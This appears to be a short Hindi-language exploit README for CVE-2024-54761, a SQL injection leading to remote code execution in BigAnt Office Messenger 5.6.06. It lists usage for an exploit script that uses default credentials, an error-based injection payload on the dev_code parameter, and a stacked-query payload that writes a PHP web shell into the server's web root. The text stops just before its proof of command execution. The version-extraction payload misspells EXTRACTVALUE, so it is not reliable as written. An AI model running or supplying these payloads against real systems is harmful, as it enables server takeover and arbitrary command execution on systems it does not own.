BigAnt Office Messenger 5.6.06 में SQL इंजेक्शन के माध्यम से RCE

BigAnt Messenger में SQL इंजेक्शन भेद्यता RCE भेद्यता का कारण बनती है। शोषण करने के लिए चरणों का पालन करें।

उपयोग:

CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
  -h, --help            show this help message and exit
  -r, --rhost RHOST     Target IP address
  -p, --rport RPORT     Target port (default 8000)
  -u, --username USERNAME
                        Login username (default admin)
  -P, --password PASSWORD
                        Login password (default 123456)

डिफ़ॉल्ट क्रेडेंशियल के लिए शोषण चलाएं।

python CVE-2024-54761.py -r 127.0.0.1

मैन्युअल शोषण

dev_code पैरामीटर के साथ उपयोग किए गए डेटाबेस संस्करण को निकालें जो SQLi के लिए उजागर है।

# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--

SQLI संस्करण SQL स्टैक क्वेरी का उपयोग करके लक्ष्य पर php वेबशेल अपलोड करें।

# Payload
?dev_code=;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -

वेबशेल बनाएं 1 कमांड निष्पादन का प्रमाण: